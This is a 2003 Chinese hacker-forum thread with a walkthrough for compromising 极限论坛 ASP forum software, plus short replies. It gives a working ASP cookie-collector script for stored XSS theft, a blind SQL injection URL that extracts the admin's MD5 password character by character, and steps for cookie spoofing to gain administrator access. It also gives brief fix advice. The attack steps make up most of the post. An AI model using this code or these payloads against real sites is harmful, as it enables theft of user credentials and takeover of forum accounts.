Board logo

标题: 利用脚本漏洞轻取极限论坛 2003 [打印本页]

作者: 黑色叶子    时间: 2003-12-30 10:01     标题: 利用脚本漏洞轻取极限论坛 2003

[这个贴子最后由黑色海岸线在 2003/12/30 10:02am 第 1 次编辑] 前几天,孤独剑客的论坛被人黑了,了解到剑客所用的论坛是极限论坛, 就决心花点时间看看极限论坛的安全性到底如何。 去网上找了下,都是2002年的,看来官方己经停止开发了,就down了个 官方的fso版。 没花多久,就发现以下两大问题。 一.存在跨站脚本漏洞 测试方法:发一个贴子,标题任意,贴子内容为 现在我们进入贴子,就会弹出一个如图1所示的对话框,我们继续实验,再发一个贴子, 贴子内容为,这样我们一旦点击这个贴子 就会弹出自己的cookie值,如图2所示,红线所画处就是md5加密过的密码以及用户名:admin 注意:前提是对方选择了保存cookie,要不然是不会显示出密码和用户名的。 下面就开始我的跨站收集cookie值计划了,把以下代码保存为darkeyes.asp。 ======================================== <% testfile=Server.MapPath("darkeyes.txt") msg=Request("msg") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg& "") thisfile.close set fs = nothing %> ========================================= 然后将该文件上传到自己的asp空间上。 注:后面的window.close(),是为了更好的隐藏。 此外由于调用了filesystemobject组件,则所用asp空间要支持fso才行。 一切都准备就绪了,就再发个贴子吧,内容为 注:www.target.com为你所使用的asp空间地址。 我在本机上实验了一下,却发现不能成功获得完整cookie值,如图3所示,只能得Password的信息,可是我们不知道是谁的密码呀! 经过多次实验,终于发现原来是&(连接符)这个坏家伙在作怪,怎么绕过&号得到完整的cookie值呢。 仔细看了下教程书,终于发现调用request.servervariables("QUERY_STRING")也可以得到?(问号)后面的信息。 既然如此,就把上面代码中的msg=Request("msg")改为msg=Request.servervariables("QUERY_STRING")即可,其他的照旧, 这下再有人进入我发的贴子,就会将完整的cookie值信息保存在darkeyes.txt这个文件里了,如图4所示, 己经成功的拿到了admin的cookie值。 此外,极限论坛的自定义签名,以及自定义头像也可以用以上的方法,至于有没有人来看你的贴子, 就要看你取的名字是否吸引别人的眼球啦,:)。 防范方法: 1.对javascipt、vbscript、vbs等字符作出过滤,还应该作严格的检查,因为javascript也可以写成javascrpt。 2.检查[img][/img]之间的后缀是否是jpg、gif等s格式。 3.对保存上传图片的目录限制脚本执行权限,安全第一嘛。 二.存在sql injection漏洞 这个asp论坛基本上的过滤都不完善,就拿flist.asp这个文件来说吧,其中主要的代码如下: =================================== ………… CAT_ID=replace(request("CAT_ID"),"'","''") sql = "SELECT CAT_NAME FROM Forum_Category where CAT_ID="&CAT_ID set tempc=conn.Execute(SQL) if tempc.bof or tempc.eof then response.Redirect("index.asp") ………… =================================== 变量CAT_ID仅仅过滤了'号,不过总比什么都不检查好,呵呵! admin的id为3,也是最小的id值,提交 http://www.target.com/flist.asp?cat_id=14%20and%203=(select%20min(ID)%20from%20Forum_UserDB%20where%20asc(mid(Password,1,1)=55) ---正常返回页面,这样就猜出了第一位密码的asc为55,查一下ASCⅡ码就得出是7 注:从上面的代码可以看出,如图条件不成立,则将返回index.asp这个文件。 不过要注意的是,这里的表名和字段名是有大小写区别的,我刚开始就是没注意到,浪费了不少时间。 用asc配合mid一个个猜解,很快就可以得到md5加密过的密码, 拿到了md5加密的密码,暴力破解吗?NO,用IEcookiesview进行cookie值欺骗吧! 下载地址:http://lycos13561.w58.bizcn.com/mypage/tools/iecv.exe 下面我再简单讲解一下该工具的使用,先自己注册一个用户进论坛,要选择保存cookie值哦! 然后打开IEcookiesview,在地址栏中找到刚才进入的论坛,然后右键点击下半部分的rick_user, 选择"Edit The cookie's content",如图5所示,进入相应的页面后,将value中的值修改为管理员的用户名 和密码,最后点击modify cookie就差不多成功了。最后一个步骤就是关闭刚才打开的论坛页面, 开一个IE重新进入,发现自己己经admin了,还可以直接进后台,因为极限论坛是没有二次密码验证的。 防范建议:除了过滤',空格之类的东东,还应该把CAT_ID限制为数字。 代码如下 =================================== CAT_ID=replace(request("CAT_ID")," ","") if isnumeric(CAT_ID)=0 or CAT_ID="" then response.write "非法提交!" response.end end if =================================== 不过极限论坛的问题,根本不仅仅是这一个地方,再加上极限论坛己经失去技术支持(官方不更新了嘛),为了安全起见, 我建议使用极限论坛的用户,还是使用动网这样安全性高的论坛吧,毕竟动网经过众多高手的免费检测,己经相当成熟了,:)。 个人信息 作者:darkeyes
作者: 黑色海岸线    时间: 2003-12-30 10:02     标题: 利用脚本漏洞轻取极限论坛 2003

1
作者: 黑色海岸线    时间: 2003-12-30 10:03     标题: 利用脚本漏洞轻取极限论坛 2003

2

作者: 黑色海岸线    时间: 2003-12-30 10:03     标题: 利用脚本漏洞轻取极限论坛 2003

3
作者: 黑色海岸线    时间: 2003-12-30 10:03     标题: 利用脚本漏洞轻取极限论坛 2003

4
作者: 黑色海岸线    时间: 2003-12-30 10:03     标题: 利用脚本漏洞轻取极限论坛 2003

5
作者: 黑色终结者    时间: 2003-12-30 12:10     标题: 利用脚本漏洞轻取极限论坛 2003


作者: 吉他手    时间: 2003-12-30 18:41     标题: 利用脚本漏洞轻取极限论坛 2003

不错啊,可惜脚本什么的都看不明白!~~
作者: bigblock    时间: 2003-12-30 19:28     标题: 利用脚本漏洞轻取极限论坛 2003

不是吧.竟然存在sql injection漏洞.要命啊.




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2